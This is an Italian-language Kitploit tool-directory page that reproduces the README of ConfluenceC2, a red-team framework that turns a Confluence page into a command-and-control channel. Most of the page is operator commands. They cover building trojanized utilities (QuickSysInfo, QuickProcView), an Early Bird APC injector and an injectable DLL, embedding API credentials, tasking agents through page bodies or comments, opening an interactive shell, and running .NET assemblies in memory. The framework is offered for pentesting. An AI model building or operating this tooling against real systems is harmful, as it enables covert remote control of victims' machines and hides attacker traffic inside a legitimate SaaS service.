Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ConfluenceC2 — Questo è un progetto volto a trasformare ogni altro prodotto SaaS in un C2, Confluence è solo l'inizio. | Kitploit
Strumenti/GitHubGitHub/dagowda/confluencec2
Meccanismi di PersistenzaMovimento LateraleScripting e AutomazioneShellcodeEsfiltrazione DatiPost-ExploitSicurezza WebPenetration TestingCommand and ControlRed TeamingSviluppo PayloadTrojan di Accesso Remoto
132182 giorni faNon ancora revisionato
GitHubdagowda/confluencec2

ConfluenceC2

Questo è un progetto volto a trasformare ogni altro prodotto SaaS in un C2, Confluence è solo l'inizio.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Confluence C2

Autore: Dhanush Arvind

image_alt

Prerequisiti

Python 3.8+ con requests:

pip install requests

Account Confluence Cloud con un token API (generare su https://id.atlassian.com/manage-profile/security/api-tokens), oppure credenziali Confluence Server

MinGW GCC una delle due opzioni:

  • WSL con x86_64-w64-mingw32-gcc (sudo apt install gcc-mingw-w64-x86-64), oppure
  • MinGW-w64 nativo installato su Windows e aggiunto al PATH

Passo 1: Creare la pagina C2 oppure crearla manualmente usando il browser

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Salva il Page ID dall'output — ti serve per tutto ciò che segue.

Per usare un titolo personalizzato:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

Passaggio 2: Configurare il chiamante

Esegui configure.py per incorporare le tue credenziali Confluence e l'ID della pagina nel sorgente del chiamante:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
ArgomentoObbligatorioDescrizione
--urlSìURL di base di Confluence
--emailSìEmail dell'account Confluence
--api-tokenSìToken API di Confluence
--page-idSìID della pagina dal Passaggio 1
--sleepNoIntervallo del beacon in millisecondi (predefinito: 10000)
--outputNoDirectory di output (predefinita: build)
--no-wiki-prefixNoSalta il prefisso /wiki (per Confluence Server)
--compileNoCompilazione automatica se gcc è nel PATH

Passaggio 3: Compilazione con MinGW

Opzione A: Cross-Compiler MinGW su WSL (consigliato su Windows)

Da PowerShell:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

Sostituisci /mnt/c/path/to/build con il percorso WSL effettivo della directory di build del tuo progetto.

Opzione B: MinGW nativo su Windows

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

Opzione C: Compilazione automatica tramite configure.py

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

Dopo la compilazione manuale, copiare i binari in payloads/:

copy build\*.exe payloads\
copy build\*.dll payloads\

Passo 4: Eseguire il Chiamante

Payload 1 : Standalone

payloads\caller.exe

Payload 2: QuickSysInfo trojanizzato

payloads\QuickSysInfo.exe

Payload 3: Early Bird DLL Injection

Entrambi i file devono trovarsi nella stessa directory:

cd payloads
earlybird_inject.exe

Payload 4: QuickProcView trojanizzato

Entrambi i file devono trovarsi nella stessa directory:

cd payloads
QuickProcView.exe

Passaggio 5: Operare : CLI o Web GUI

Opzione A: Operatore CLI (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

Opzione B: GUI Web (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

Apri http://127.0.0.1:8443 nel tuo browser.

Passo 6: Inviare comandi

Tramite CLI: corpo della pagina

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

Via CLI: Commento

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Tramite Web GUI

Apri la scheda Console. Seleziona la modalità Page Body o Comment. Digita il comando, seleziona l'agente di destinazione e fai clic su Send.

Tramite Browser (nessuno strumento necessario)

Naviga alla pagina C2 e pubblica un commento:

[cmd] whoami

Target un agente specifico:

[cmd:90bd7c8a] whoami

Shell interattiva (solo CLI)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

Leggi l'output

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

Eseguire un assembly .NET in memoria

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

Passaggio 7: Terminare il chiamante

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

Passaggio 8: Pulizia

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

Oppure tramite la GUI Web: apri la scheda Cleanup e fai clic sul pulsante di pulizia.

Comandi del Caller

Scarica lo strumento